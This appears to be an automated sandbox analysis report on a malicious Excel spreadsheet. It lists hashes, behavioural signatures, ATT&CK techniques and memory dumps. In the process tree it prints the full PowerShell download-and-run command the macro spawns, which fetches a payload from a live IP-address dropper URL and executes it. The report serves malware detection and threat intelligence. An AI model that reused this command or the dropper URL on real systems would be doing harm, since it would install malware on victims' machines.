2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d

General

Target

2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
Size

126KB
MD5

d89dfeaadf6cdf2b7ea3435644180b3a
SHA1

bc9767d6217daba21cfdf8ed7e8dba01742bf196
SHA256

2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d
SHA512

928a0d467b79ba834f031e2a220c75e56017f7df7dba57be4a9ce274881f422683d70fdf39053c5f1496d1c59bb084fe6e8c0984d70b7740be49a1df631a560e
SSDEEP

1536:KdKcpx2Sk/8E3NEN1vn5jG685uUDf44fAg:8AxdEzvn5jb8cU

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://85.143.166.190/asdvx/fghs.php

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2944	3056	cmd.exe	28

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2996	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3056	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	29
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	29
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	29
PID 3056 wrote to memory of 2944	3056	EXCEL.EXE	29
PID 2944 wrote to memory of 2996	2944	cmd.exe	31
PID 2944 wrote to memory of 2996	2944	cmd.exe	31
PID 2944 wrote to memory of 2996	2944	cmd.exe	31
PID 2944 wrote to memory of 2996	2944	cmd.exe	31
PID 2996 wrote to memory of 2600	2996	powershell.exe	32
PID 2996 wrote to memory of 2600	2996	powershell.exe	32
PID 2996 wrote to memory of 2600	2996	powershell.exe	32
PID 2996 wrote to memory of 2600	2996	powershell.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2ae4d463cd4df974d95288744d1bbf686b42db45896e6c0ad4917f7aab42f32d.xls
1⤵
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\cmd.exe
  cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab'); expand C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe; start C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe;
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\SysWOW64\expand.exe
      "C:\Windows\system32\expand.exe" C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.cab C:\Users\Admin\AppData\Local\Temp\dsfsdFFFv.exe
      4⤵
      PID:2600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3056-1-0x000000007205D000-0x0000000072068000-memory.dmp

Filesize
44KB

Download
memory/3056-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3056-2-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-3-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-18-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-4-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-26-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-27-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-25-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-24-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-23-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-21-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-19-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-30-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-31-0x00000000003B0000-0x00000000004B0000-memory.dmp

Filesize
1024KB

Download
memory/3056-32-0x000000007205D000-0x0000000072068000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads